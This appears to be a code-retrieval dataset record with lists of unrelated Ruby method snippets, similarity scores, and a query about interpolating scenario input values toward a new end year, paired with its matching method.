"def initialize( *args )\n\t\t\targs.flatten!\n\n\t\t\tcase args.length\n\t\t\twhen 0\n\t\t\t\t@elements = [ 0.0, 0.0, 0.0 ]\n\n\t\t\twhen 1\n\t\t\t\tif args[0].respond_to?( :to_ary )\n\t\t\t\t\targs = args.to_ary\n\t\t\t\telsif !args[0].is_a?( Numeric )\n\t\t\t\t\traise TypeError, \"no implicit conversion from %s to %s\" %\n\t\t\t\t\t\t[ args[0].class.name, self.class.name ]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t@elements = args\n\t\tend",
"def prepare_arguments(expression, arguments)\n case expression\n when Array\n expression.each do |item|\n prepare_arguments(item, arguments)\n end\n when Fast::FindFromArgument\n expression.arguments = arguments\n when Fast::Find\n prepare_arguments expression.token, arguments\n end\n end",
"def __splat(x) end",
"def visitArgs(elem, data)\r\n @@log.debug(\"XmlRuleVisitor::visitArgs\")\r\n @@log.debug(elem.inspect)\r\n\r\n argsData = ''\r\n elem.each_element do |child|\r\n argsData = visit(child, argsData)\r\n end\r\n\r\n output = \"( #{argsData} )\"\r\n data += output\r\n return data\r\n end",
"def extract_argument_lists(args, splittable_args); end",
"def set_args\n <<-CODE\n t1 = stack_pop();\n c->args = N2I(t1);\n CODE\n end",
"def added(array)\nend",
"def arrayize_arguments(args)\n # Go through trailing arguments and suck them in if they don't seem\n # to have an owner.\n array = []\n until args.empty? || args.first.match(/^-/)\n array << args.shift\n end\n array\n end",
"def norm args, types, block\n # args=args.to_s if args.is_a? TreeNode #TODO\n a=block.global_string_pointer(args);\n a\n end",
"def parse_function(function, args)\n # TODO: handle Refs\n if args.kind_of?(Hash)\n args.each_pair do |nested_name, nested_values|\n nested = CFDoc::Model::Function.new(nested_name)\n parse_function(nested, nested_values)\n function.arguments << nested\n end\n elsif args.kind_of?(Array)\n # TODO: capture into an array type?\n args.each { |a| parse_function(function, a)}\n elsif args.kind_of?(String)\n function.arguments << args\n end\n end",
"def method_call_args(args_sexp)\n return [] if args_sexp[1].nil?\n args_sexp = args_sexp.last[1]\n args_sexp.map(&method(:parse_one))\n end",
"def arglists\n if @call_seq then\n @call_seq\n elsif @params then\n \"#{name}#{param_seq}\"\n end\n end",
"def arglists\n if @call_seq then\n @call_seq\n elsif @params then\n \"#{name}#{param_seq}\"\n end\n end",
"def arguments\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n return_value = ArgumentsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __ARGUMENTS253__ = nil\n argument254 = nil\n\n tree_for_ARGUMENTS253 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 206:5: ^( ARGUMENTS ( argument )* )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __ARGUMENTS253__ = match( ARGUMENTS, TOKENS_FOLLOWING_ARGUMENTS_IN_arguments_1535 )\n\n tree_for_ARGUMENTS253 = @adaptor.copy_node( __ARGUMENTS253__ )\n\n root_1 = @adaptor.become_root( tree_for_ARGUMENTS253, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 206:18: ( argument )*\n while true # decision 33\n alt_33 = 2\n look_33_0 = @input.peek( 1 )\n\n if ( look_33_0.between?( AMP, AMP_ASGN ) || look_33_0 == POST_DECR || look_33_0.between?( GEQ, AREF ) || look_33_0.between?( GREATER, HAT ) || look_33_0.between?( ARROW, HAT_ASGN ) || look_33_0 == ASGN || look_33_0 == REGEX || look_33_0 == IN || look_33_0 == INCR || look_33_0.between?( INSTANCEOF, RSHIFT3 ) || look_33_0 == RSHIFT3_ASGN || look_33_0.between?( RSHIFT_ASGN, COLON ) || look_33_0 == LEQ || look_33_0.between?( LESS, SLASH ) || look_33_0 == SLASH_ASGN || look_33_0.between?( STAR, DECR ) || look_33_0 == STAR_ASGN || look_33_0 == LSHIFT || look_33_0.between?( DELETE, THIS ) || look_33_0.between?( MINUS, TILDE ) || look_33_0.between?( MINUS_ASGN, MOD ) || look_33_0.between?( MOD_ASGN, TYPEOF ) || look_33_0.between?( NEQ, UMINUS ) || look_33_0.between?( NEQQ, UNDEFINED ) || look_33_0 == NEW || look_33_0 == NOT || look_33_0.between?( NULL, UPLUS ) || look_33_0 == OBJECT || look_33_0.between?( EQ, OR_ASGN ) || look_33_0 == FALSE || look_33_0 == PIPE || look_33_0 == PIPE_ASGN || look_33_0 == PLUS || look_33_0.between?( ID, DOC ) )\n alt_33 = 1\n\n end\n case alt_33\n when 1\n # at line 206:18: argument\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_argument_IN_arguments_1537 )\n argument254 = argument\n @state.following.pop\n\n @adaptor.add_child( root_1, argument254.tree )\n\n\n else\n break # out of loop for decision 33\n end\n end # loop for decision 33\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n end\n \n return return_value\n end",
"def varargs(arg1,*rest)\n puts \"Got #{arg1} and #{rest.join(',')}\"\nend",
"def initialize(*args)\n self.class.each_array_definition do |array_definition|\n initialize_arrays(array_definition.name)\n ArrayFu::ModuleRegistry.configure(self, array_definition) \n end\n end",
"def rectangular _args\n \"rectangular _args;\" \n end",
"def initialize(arry = [])\n @base = arry.collect{|el| el } # poor man's clone\n @tree_hash = run_layers\n end",
"def remap_optional_arguments(nodes)\n return nodes.map do |node|\n node[0].updated(nil, [node[0].children[0], node[1]])\n end\n end",
"def make_int_list(args)\n head = Node.new args[0]\n args[1..args.length - 1].each { |arg| head.append arg }\n head\nend",
"def arguments; end",
"def arguments; end",
"def arguments; end",
"def build_array(param1, param2, param3)\n\t[param1, param2, param3]\nend",
"def varargs(arg1, *rest)\n \"arg1=#{arg1}. rest=#{rest.inspect}\"\nend",
"def funify(array)\n\tarray << \"fun\"\n\t\nend",
"def converted_arrays; end"
] |
[
"0.7347744",
"0.6768978",
"0.64906603",
"0.63761955",
"0.6326545",
"0.6276517",
"0.61711496",
"0.60801065",
"0.6058233",
"0.6034769",
"0.60234267",
"0.60181403",
"0.6016173",
"0.6003154",
"0.5987587",
"0.5978011",
"0.59675026",
"0.59292954",
"0.5909316",
"0.5908178",
"0.5778227",
"0.57560205",
"0.575382",
"0.5716297",
"0.56953156",
"0.56656325",
"0.56495583",
"0.56321836",
"0.5622618",
"0.56122756",
"0.56091803",
"0.5607635",
"0.5569519",
"0.5564917",
"0.55586654",
"0.5551644",
"0.5551644",
"0.554971",
"0.5547073",
"0.5542613",
"0.5542613",
"0.5539575",
"0.55250007",
"0.55201685",
"0.55193394",
"0.5515093",
"0.5499762",
"0.5490403",
"0.54768366",
"0.5475088",
"0.54630977",
"0.545769",
"0.5453574",
"0.54479146",
"0.54479146",
"0.5438829",
"0.5438829",
"0.5438829",
"0.5438829",
"0.5438829",
"0.543452",
"0.543452",
"0.54310834",
"0.54249907",
"0.5422143",
"0.54082423",
"0.54026425",
"0.5371151",
"0.5351004",
"0.5346322",
"0.5341628",
"0.53295445",
"0.5327257",
"0.5324153",
"0.5314671",
"0.5311094",
"0.5310694",
"0.53072304",
"0.5304369",
"0.53031516",
"0.5286835",
"0.5285358",
"0.52817833",
"0.52771384",
"0.52650994",
"0.52650994",
"0.52642524",
"0.5261076",
"0.52610517",
"0.52609885",
"0.5258413",
"0.52493984",
"0.5247781",
"0.52472776",
"0.52472776",
"0.52472776",
"0.5236697",
"0.5235744",
"0.523504",
"0.52345544"
] |
0.6949441
|
1
|
Internal: Receives a collection of inputs and interpolates the values to fit the end year of the new scenario. For example, if the start year is 2020 and the source scenario is 2050, and an input starts and 0 and the source value is 100, and the new scenario is based in 2030, the input value will be 50. Returns the interpolated inputs.
|
def interpolate_input_collection(collection)
num_years = @scenario.end_year - @year
total_years = @scenario.end_year - @scenario.start_year
collection.each_with_object(collection.class.new) do |(key, value), interp|
if (input = Input.get(key))
interp[key] = interpolate_input(input, value, total_years, num_years)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def interpolate_input(input, value, total_years, num_years)\n return value if input.enum?\n\n start = input.start_value_for(@scenario)\n change_per_year = (value - start) / total_years\n\n start + change_per_year * (total_years - num_years)\n end",
"def interpolate(frequency, operation)\n # puts \"FREQUENCY: #{frequency} - #{frequency.class}\"\n # puts \"SELF.FREQUENCY: #{self.frequency} - #{self.frequency.class}\"\n # puts \"OPERATION: #{operation} - #{operation.class}\"\n #also needs to be ok with frequency of annual\n #raise InterpolationException if frequency != :quarter or self.frequency != \"semi\" or operation != :linear\n raise InterpolationException if data.count < 2\n last = nil\n last_date = nil\n interval = nil\n quarterly_data = {}\n data.sort.each do |key, value|\n next if value.nil?\n unless last.nil?\n d1 = Date.parse key\n d2 = Date.parse last_date\n quarter_diff = ((d1.year - d2.year) * 12 + (d1.month - d2.month))/3\n interval = value - last \n quarterly_data[last_date] = last - interval/(quarter_diff*2) \n quarterly_data[(Date.parse(last_date) >> 3).to_s] = last + interval/(quarter_diff*2) \n end\n last = value\n last_date = key\n end\n #not sure why this one is needed... but using the default 4 for here instead of 2*quarter_diff\n quarterly_data[last_date] = last - interval/4\n quarterly_data[(Date.parse(last_date) >> 3).to_s] = last + interval/4\n #quarterly_data\n new_series = new_transformation(\"Interpolated from #{self.name}\", quarterly_data)\n new_series.frequency = frequency \n new_series\n end",
"def test_interpolate\n xvals = [10, 30]\n yvals = [25, 35]\n\n assert_in_delta 43.5, Utils.interpolate(xvals, yvals, 47), 0.01\n assert_in_delta 26.5, Utils.interpolate(xvals, yvals, 13), 0.01\n assert_in_delta 70, Utils.interpolate(xvals, yvals, 100), 0.01\n end",
"def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend",
"def trms_interpolate_to_quarterly\n raise InterpolationException if frequency != 'year'\n new_series_data = {}\n previous_data_val = nil\n previous_year = nil\n last_diff = nil\n data.sort.each do |key, val|\n if previous_data_val.nil?\n previous_data_val = val\n previous_year = key\n next\n end\n year = previous_year.year\n new_series_data[Date.new(year)] = previous_data_val - (val - previous_data_val) / 4 * 1.5\n new_series_data[Date.new(year, 4)] = previous_data_val - (val - previous_data_val) / 4 * 0.5\n new_series_data[Date.new(year, 7)] = previous_data_val + (val - previous_data_val) / 4 * 0.5\n new_series_data[Date.new(year, 10)] = previous_data_val + (val - previous_data_val) / 4 * 1.5\n last_diff = val - previous_data_val\n previous_data_val = val\n previous_year = key \n end\n \n year = previous_year.year\n new_series_data[Date.new(year)] = previous_data_val - last_diff / 4 * 1.5\n new_series_data[Date.new(year, 4)] = previous_data_val - last_diff / 4 * 0.5\n new_series_data[Date.new(year, 7)] = previous_data_val + last_diff / 4 * 0.5\n new_series_data[Date.new(year, 10)] = previous_data_val + last_diff / 4 * 1.5\n \n blma_new_series_data = {}\n prev_val = nil\n new_series_data.sort.each do |key,val|\n if prev_val.nil?\n prev_val = val\n next\n end\n blma_new_series_data[key] = (val + prev_val) / 2\n prev_val = val\n end\n new_transformation(\"TRMS style interpolation of #{self.name}\", blma_new_series_data, 'quarter')\n end",
"def _reduce_202(val, _values, result)\n result = new_irange(val[0], val[1], val[2])\n \n result\nend",
"def linear_interpolate(frequency)\n raise AggregationError unless (frequency == :quarter and self.frequency == \"year\") or \n (frequency == :month and self.frequency == \"quarter\") or \n (frequency == :day and self.frequency == \"month\")\n data_copy = self.data.sort\n last_val = data_copy[0][1]\n last_date = data_copy[0][0]\n first = data_copy.shift\n \n new_series_data = nil\n data_copy.each do |date_string, val|\n diff = val - last_val\n new_series_data = last_date.linear_path_to_previous_period(last_val, 0, self.frequency, frequency) if new_series_data.nil?\n new_series_data.merge! date_string.linear_path_to_previous_period(val, diff, self.frequency, frequency)\n last_val = val\n last_date = date_string\n end\n \n new_series = new_transformation(\"Interpolated (linear match last) from #{self.name}\", new_series_data)\n new_series.frequency = frequency \n new_series\n end",
"def linear_interpolate(frequency)\n raise AggregationException unless (frequency == :quarter and self.frequency == 'year') or\n (frequency == :month and self.frequency == 'quarter') or \n (frequency == :day and self.frequency == 'month')\n data_copy = self.data.sort\n last_val = data_copy[0][1]\n last_date = data_copy[0][0]\n first = data_copy.shift\n \n new_series_data = nil\n data_copy.each do |date, val|\n diff = val - last_val\n new_series_data = last_date.linear_path_to_previous_period(last_val, 0, self.frequency.to_sym, frequency) if new_series_data.nil?\n new_series_data.merge! date.linear_path_to_previous_period(val, diff, self.frequency.to_sym, frequency)\n last_val = val\n last_date = date\n end\n new_transformation(\"Interpolated (linear match last) from #{self}\", new_series_data, frequency)\n end",
"def get_years_to_date_collection\n (get_system_asset_starting_year..Date.today.year).to_a\n end",
"def calc_spread_to_curve(csv)\n file = prep_spread_data(csv)\n\n # print title\n print_spread('bond,spread_to_curve')\n\n gov_lower = nil #hold government lower bound term\n corp_tmp = []\n file.each do |data|\n if data[1] == \"corporate\"\n corp_tmp.push data\n else # government entry\n corp_tmp.each do |corp_data|\n y = corp_data[3]\n #calculate linear interpolation yield = a*term+b\n a = ((data[3]-gov_lower[3])/(data[2]-gov_lower[2])).abs\n b = data[3] - a*data[2]\n y2 = a*corp_data[2] + b\n print_spread(corp_data[0], (y-y2).abs)\n end\n corp_tmp = []\n gov_lower = data #update lower bound\n end\n end\nend",
"def compute_yearwise(incomes_or_deductions)\n income_deduction_per_year = Hash.new(0)\n\n incomes_or_deductions.each do |income_deduction|\n working_days_in_year = Float(52*5)\n daily_income = 0\n\n case income_deduction.frequency\n when \"daily\"\n daily_income = income_deduction.amount_in_cents\n when \"weekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/52)\n when \"biweekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/26)\n when \"monthly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/12)\n when \"quarterly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/4)\n when \"half_yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/2)\n when \"yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year)\n end\n\n income_deduction.start_date = TimeKeeper.date_of_record.beginning_of_year if income_deduction.start_date.to_s.eql? \"01-01-0001\" || income_deduction.start_date.blank?\n income_deduction.end_date = TimeKeeper.date_of_record.end_of_year if income_deduction.end_date.to_s.eql? \"01-01-0001\" || income_deduction.end_date.blank?\n years = (income_deduction.start_date.year..income_deduction.end_date.year)\n\n years.to_a.each do |year|\n actual_days_worked = compute_actual_days_worked(year, income_deduction.start_date, income_deduction.end_date)\n income_deduction_per_year[year] += actual_days_worked * daily_income\n end\n end\n\n income_deduction_per_year.merge(income_deduction_per_year) { |k, v| Integer(v) rescue v }\n end",
"def year_array\n return ['x'] +(@earliest_year..@latest_year).to_a\n end",
"def interpolate(target_freq, method = :average)\n raise(InterpolationException, \"Interpolation method #{method} not supported\") unless method == :average || method == :sum\n raise(InterpolationException, 'Can only interpolate to a higher frequency') unless target_freq.freqn > frequency.freqn\n raise(InterpolationException, 'Insufficent data') if data.count < 2\n interpol_data = {}\n last_date = last_val = increment = nil\n how_many = freq_per_freq(target_freq, frequency)\n target_months = freq_per_freq(:month, target_freq)\n all_factors = {\n year: { quarter: [-1.5, -0.5, 0.5, 1.5] },\n semi: { quarter: [-0.5, 0.5], month: [-2.5, -1.5, -0.5, 0.5, 1.5, 2.5] },\n quarter: { month: [-1, 0, 1] }\n }\n factors = all_factors[frequency.to_sym][target_freq] ||\n raise(InterpolationException, \"Interpolation from #{frequency} to #{target_freq} not yet supported\")\n\n data.sort.each do |this_date, this_val|\n next if this_val.nil?\n if last_val\n increment = (this_val - last_val) / how_many.to_f ## to_f ensures float division not truncated\n values = factors.map {|f| last_val + f * increment }\n values = values.map {|val| val / how_many.to_f } if method == :sum\n (0...how_many).each do |t| ## note the three dots\n date = last_date + (t * target_months).months\n interpol_data[date] = values[t]\n end\n end\n last_date = this_date\n last_val = this_val\n end\n ### Repeat logic from inside above loop for final observation of original series\n values = factors.map {|f| last_val + f * increment }\n values = values.map {|val| val / how_many.to_f } if method == :sum\n (0...how_many).each do |t|\n date = last_date + (t * target_months).months\n interpol_data[date] = values[t]\n end\n new_transformation(\"Interpolated by #{method} method from #{self}\", interpol_data, target_freq)\n end",
"def make_year(year, bias); end",
"def wl_input\n year_str = []\n wl_input_by_year.each_pair do |year, values|\n year_str << \"\\\"#{year}\\\" -> {#{values.join ','}}\"\n end\n year_str.join \",\"\n end",
"def _reduce_199(val, _values, result)\n result = new_irange(val[0], val[1], val[2])\n \n result\nend",
"def acceptable_years_in_school\n Array(min_year_in_school..max_year_in_school)\n end",
"def _reduce_193(val, _values, result)\n result = new_irange(val[0], val[1], val[2])\n \n result\nend",
"def _reduce_193(val, _values, result)\n result = new_irange(val[0], val[1], val[2])\n \n result\nend",
"def transform_disability_approximate_begin_dates\n disabilities = form_data.dig('disabilities')\n\n disabilities.map do |disability|\n next if disability['approximateBeginDate'].blank?\n\n disability['approximateBeginDate'] = breakout_date_components(date: disability['approximateBeginDate'])\n\n disability['secondaryDisabilities'] ||= []\n disability['secondaryDisabilities'].map do |secondary_disability|\n next if secondary_disability['approximateBeginDate'].blank?\n\n secondary_disability['approximateBeginDate'] = breakout_date_components(\n date: secondary_disability['approximateBeginDate']\n )\n\n secondary_disability\n end\n\n disability\n end\n end",
"def format_inputs(inputs)\n @api.account_id = @options[:src]\n result = {}\n\n inputs.index.each do |input|\n # Array input format type isn't correct and must be changed to a json array.\n # More info here: http://reference.rightscale.com/api1.5/resources/ResourceInputs.html#multi_update\n if input.value =~ /^array:/\n array = input.value.sub(/^array:/, \"\").split(\",\")\n array.map {|a| a.sub!(/^/, \"\\\"text:\").sub!(/$/, \"\\\"\")}\n new_array = array.join(\",\")\n new_array.sub!(/^/, \"array:[\")\n new_array.sub!(/$/, \"]\")\n result[input.name] = new_array\n else\n result[input.name] = input.value\n end\n end\n\n return result\nend",
"def set_boundaries\n days = calculate_start_and_end_day(@values[:year], @values[:time_frame])\n set_values(days)\n return \"Calculated interval for week from input:\" \\\n \" #{days[:actual]} - #{days[:next]}\"\n end",
"def get_years\n year = slice_year\n till_year = year.to_i - @past_years\n years = []\n year.to_i.downto(till_year) { |y| years << y }\n years\n end",
"def apply_rule(rule, from_offset, to_offset, year); end",
"def apply_rule(rule, from_offset, to_offset, year); end",
"def spline_fitting(sampled_points, interp_points)\n\t# this function takes a given set of discrete points and fit the curve of them using piece wise splines functions\t\n\t\nend",
"def interpolate( v1, v2, periods, method )\n out = []\n fv1 = v1.to_f()\n fv2 = v2.to_f()\n fp = periods.to_f() # force us to use floating point everywhere\n case method\n when EXPONENTIAL then\n growth = Math.log( fv2 / fv1 ) / ( fp - 1 )\n periods.times{\n |p|\n out[p] = fv1*(( 1.0 + growth ) ** p )\n } \n out[periods-1] = v2;\n # fixme exacty growth interpolation\n when LINEAR then\n diff = ( fv2 - fv1 ) / ( fp - 1 )\n periods.times{\n |p|\n out[p] = v1 + (diff*p)\n }\n end\n return out\nend",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).reduce([]) do |output, el|\n if not_repeat_year?(el)\n output << el\n else\n output\n end\n end\nend",
"def interpolation_patterns; end",
"def proyections(ventas_base, augment, start_array, end_array) \n a = ventas_base.map.with_index do |sales, index|\n if index >= start_array && index <= end_array\n (sales*augment)\n else\n sales\n end\n end\n return a\nend",
"def transforms( inputs, type ) #:nodoc:\n nsamples = inputs.size\n result = [1.0]\n (nsamples-1).times do\n result << result[-1] / @factor\n end\n range = (1.0..result[-1])\n result = result.map {|v| range.abscissa( v )}\n return result\n end",
"def rescale_inputs(collection, source_scaler, dest_scaler)\n collection.each_with_object({}) do |(key, value), data|\n input = Input.get(key.to_sym)\n\n # Old scenarios may use inputs which no longer exist; skip them.\n next unless input\n\n if ScenarioScaling.scale_input?(input)\n data[key] = rescale_input(value, source_scaler, dest_scaler)\n else\n data[key] = value\n end\n end\n end",
"def get_earliest_latest\n @output.each do |key, value|\n value.each do |k, v|\n year = k.to_i\n @earliest_year = year if year < @earliest_year\n @latest_year = year if year > @latest_year\n end\n end\n @earliest_year = @start_year if @start_year > @earliest_year\n end",
"def build_interpolators()\n vlists = [[],[],[],[]]\n self.colorlist.foreach do |index, color|\n values = []\n if self.interpoldomain == :rgb\n\tvalues = color.rgba\n elsif self.interpoldomain == :hsv\n\tvalues = color.hsva\n elsif self.interpoldomain == :hsl\n\tvalues = color.hsla\n else\n\traise RuntimeError.new(\"#{self.interpoldomain} is an unknown color scheme.\")\n end\n vlists[0] += [index, values[0] ]\n vlists[1] += [index, values[1] ]\n vlists[2] += [index, values[2] ]\n vlists[3] += [index, values[3] ]\n end\n @interpolators = vlists.map {|samplelist| Interpolator[ :samplelist, samplelist, :interpoltype, self.interpoltype]}\n end",
"def update_project_fiscal_year\n if multi_year? and activity_line_items.present?\n self.fy_year = activity_line_items.pluck(:fy_year).min\n end\n end",
"def all_year\n beginning_of_year..end_of_year\n end",
"def year(input) = new_year(input).year - 621",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).reduce([]) do |arr, year|\n if not_repeat_year?(year)\n arr << year\n else\n arr\n end\n end\nend",
"def play_multi_year_charts\n Current.setting.reset!\n\n Current.setting.api_session_id = @scenario.id\n\n if params[:input] && (input = InputElement.find_by_key(params[:input]))\n Current.setting.last_etm_page = play_url(*input.url_components)\n @interface = Interface.new(*input.url_components)\n end\n\n @interface.variant = Interface::LiteVariant.new\n\n play\n end",
"def swap_range_limit_params_if_needed\n return if params.empty?\n\n start_date = params.dig(:range, :year_facet_isim, :begin)\n end_date = params.dig(:range, :year_facet_isim, :end)\n\n return unless start_date.present? && end_date.present?\n return unless start_date.to_i > end_date.to_i\n\n params['range']['year_facet_isim']['begin'] = end_date\n params['range']['year_facet_isim']['end'] = start_date\n end",
"def associated_years\n years = \"\"\n \n\t start_date = event_start\n\t start_date = entry_deadline if is_opportunity?\n\t \n years << start_date.year.to_s if !start_date.blank?\n years << ' '\n years << event_finish.year.to_s if !event_finish.blank?\n \n #remove duplicates and trim off spaces\n unique_years = years.strip.split(' ').uniq.sort\n result = unique_years\n if unique_years.length > 1\n result = []\n for y in unique_years[0]..unique_years[1]\n result << y\n end\n end\n result\n #now we have the 2004-2008 case to deal with, we wish to create [2004,2005,...2008]\n \n end",
"def new_input_set()\n return GetTimeOfUseGroupIntervalsInputSet.new()\n end",
"def interpolbi pontos\n pontos = pontos.sort\n lambda do |*x|\n lagrange pontos.map {|x1, pts|\n [x1, lagrange(pts).call(x[1])]\n }.call(x[0])\n end\nend",
"def calculate_searches_for_years(from, to)\n case to - from\n when -1\n []\n when 0,1\n [[from, 0]] + calculate_searches_for_years(from + 1, to)\n when 2,3\n [[from + 1, 1]] + calculate_searches_for_years(from + 3, to)\n when 4,5,6,7,8\n [[from + 2, 2]] + calculate_searches_for_years(from + 5, to)\n else\n [[from + 5, 5]] + calculate_searches_for_years(from + 10, to)\n end\n end",
"def interpolate(string, values); end",
"def process_inclusive(value)\n if value.is_a?(Array) && valid_ranges?(value)\n YearRange.new(value.include?(\"/\") ? value : value.map { |v| v.tr(\"-\", \"/\") }).to_s\n elsif value.is_a? Array\n value.each { |d| d.strip.tr(\"/\", \"-\") }.join(\", \")\n elsif value.present?\n value.strip\n end\n end",
"def no_repeat_years(first_year, last_year)\nend",
"def update_dates\n if params[:financial_year].present?\n # puts params.inspect\n # puts params[:financial_year].inspect\n @start_date, @end_date = FinancialYear.fetch_dates(params[:financial_year])\n render :update do |page|\n page.replace_html \"date_range_section\", :partial => \"finance_reports/filters/date_range\"\n end\n end\n end",
"def initialize_filters(params)\n # integer arrays\n [\n :location_ids,\n :model_ids,\n :scenario_ids,\n :indicator_ids,\n :sector_ids,\n :category_ids\n ].map do |param_name|\n if params[param_name].present? && params[param_name].is_a?(Array)\n value = params[param_name].map(&:to_i)\n end\n instance_variable_set(:\"@#{param_name}\", value)\n end\n @start_year = params[:start_year]&.to_i\n unless @start_year.present? && @start_year > MINIMUM_YEAR_FROM\n @start_year = MINIMUM_YEAR_FROM\n end\n @end_year = params[:end_year]&.to_i\n end",
"def fit(xs, ys, tran_x: ->(x) { x }, tran_y: ->(y) { y })\n eps = (10 ** -10)\n n = 0\n sum_x = 0.0\n sum_x2 = 0.0\n sum_y = 0.0\n sum_y2 = 0.0\n sum_xy = 0.0\n\n xs.zip(ys).each do |x, y|\n n += 1\n sum_x += tran_x.(x)\n sum_y += tran_y.(y)\n sum_x2 += tran_x.(x) ** 2\n sum_y2 += tran_y.(y) ** 2\n sum_xy += tran_x.(x) * tran_y.(y)\n end\n\n txy = n * sum_xy - sum_x * sum_y\n tx = n * sum_x2 - sum_x ** 2\n ty = n * sum_y2 - sum_y ** 2\n\n is_linear = tran_x.(Math::E) * tran_y.(Math::E) == Math::E ** 2\n\n if tx.abs < eps # no variation in xs\n raise ArgumentError, \"No variation in data #{xs}\"\n elsif ty.abs < eps && is_linear # no variation in ys - constant fit\n slope = 0\n intercept = sum_y / n\n residual_sq = 1 # doesn't exist\n else\n slope = txy / tx\n intercept = (sum_y - slope * sum_x) / n\n residual_sq = (txy ** 2) / (tx * ty)\n end\n\n [slope, intercept, residual_sq]\n end",
"def each_years(n=1,offset=0,dur=1)\n build_subrange do |s|\n s.step = n\n s.adjust_range { |r| day_range(r) }\n s.offset { |dt| Date.civil(dt.year + offset, dt.month, dt.day) }\n s.increment { |dt,i| Date.civil(dt.year + i, dt.month, dt.day) }\n s.span { |dt| Date.civil(dt.year + dur, dt.month, dt.day) }\n end \n end",
"def leap_year\n#ask for starting year\nputs \"What is the starting year?\"\nstart_year = gets.chomp.to_i\n\n#ask for ending year\nputs \"What is the ending year?\"\nend_year = gets.chomp.to_i\n\n#loop through array of years from start_year to end_year and select leap years based on given conditions\nleap_arr = []\n\n(start_year..end_year).select do |leap| \n leap_arr = leap % 4 == 0 || leap % 400 == 0\nend\nend",
"def update_annual_happiness_distributions! \n HappinessEntry.beginning_of_year_days.each do |beginning_of_year_day|\n uid = uid_for_year(beginning_of_year_day)\n end_of_year_day = beginning_of_year_day.end_of_year\n entries_for_year = HappinessEntry.in_year(beginning_of_year_day, end_of_year_day)\n update_happiness_distribution! uid, :year, entries_for_year \n end\n end",
"def set_boundaries\n months = calculate_month_and_next_month(@values[:year],\n @values[:time_frame])\n set_values(months)\n return \"Calculated interval for month from input:\" \\\n \" #{months[:actual]} - #{months[:next]}\"\n end",
"def generate_function_data(companies)\n ratios_i = 3 # index for ratios\n\n companies.each do |company|\n company[ratios_i] = regression_for_ratios(company[ratios_i])\n end\n companies\nend",
"def expanded_years\n @expanded_years ||= work.date_of_work.collect { |date_of_work| years_for_date_of_work(date_of_work) }.flatten\n end",
"def inc_x(yvec, start=0, endp=2047, increment=1.0, baseline=0.0, behavior=\"sum\")\n xvec = self\n\n\n scale_factor = 1.0/increment\n end_scaled = ((endp * (scale_factor)) + 0.5).to_int \n start_scaled = ((start* (scale_factor)) + 0.5).to_int \n\n\n # the size of the yvec will be: [start_scaled..end_scaled] = end_scaled - start_scaled + 1\n ## the x values of the incremented vector: \n xvec_new_size = (end_scaled - start_scaled + 1)\n xvec_new = self.class.new(xvec_new_size)\n # We can't just use the start and endp that are given, because we might\n # have needed to do some rounding on them\n end_unscaled = end_scaled / scale_factor\n start_unscaled = start_scaled / scale_factor\n xval_new = start_unscaled\n xvec_new_size.times do |i|\n xvec_new[i] = start_unscaled\n start_unscaled += increment\n end\n\n # special case: no data\n if xvec.size == 0\n yvec_new = self.class.new(xvec_new.size, baseline)\n return [xvec_new, yvec_new]\n end\n\n ## SCALE the mz_scaled vector\n xvec_scaled = xvec.collect do |val|\n (val * scale_factor).round\n end\n\n ## FIND greatest index\n _max = xvec_scaled.last\n\n ## DETERMINE maximum value\n max_ind = end_scaled\n if _max > end_scaled; max_ind = _max ## this is because we'll need the room\n else; max_ind = end_scaled\n end\n\n ## CREATE array to hold mapped values and write in the baseline\n arr = self.class.new(max_ind+1, baseline)\n nobl = self.class.new(max_ind+1, 0)\n\n case behavior\n when \"sum\"\n xvec_scaled.each_with_index do |ind,i|\n val = yvec[i]\n arr[ind] = nobl[ind] + val\n nobl[ind] += val\n end\n when \"high\" ## FASTEST BEHAVIOR\n xvec_scaled.each_with_index do |ind,i|\n arr[ind] = yvec[i]\n end\n when \"avg\"\n count = Hash.new {|s,key| s[key] = 0 }\n xvec_scaled.each_with_index do |ind,i|\n val = yvec[i]\n arr[ind] = nobl[ind] + val\n nobl[ind] += val\n count[ind] += 1\n end\n count.each do |k,co|\n if co > 1; arr[k] /= co end\n end\n when \"max\" # @TODO: finalize behavior of max and maxb\n xvec_scaled.each_with_index do |ind,i|\n val = yvec[i]\n if val > nobl[ind]; arr[ind] = val; nobl[ind] = val end\n end\n when \"maxb\"\n xvec_scaled.each_with_index do |ind,i|\n val = yvec[i]\n if val > arr[ind]; arr[ind] = val end\n end\n else \n warn \"Not a valid behavior: #{behavior}, in one_dim\\n\"\n end\n\n trimmed = arr[start_scaled..end_scaled]\n if xvec_new.size != trimmed.size\n abort \"xvec_new.size(#{xvec_new.size}) != trimmed.size(#{trimmed.size})\"\n end\n [xvec_new, trimmed]\n end",
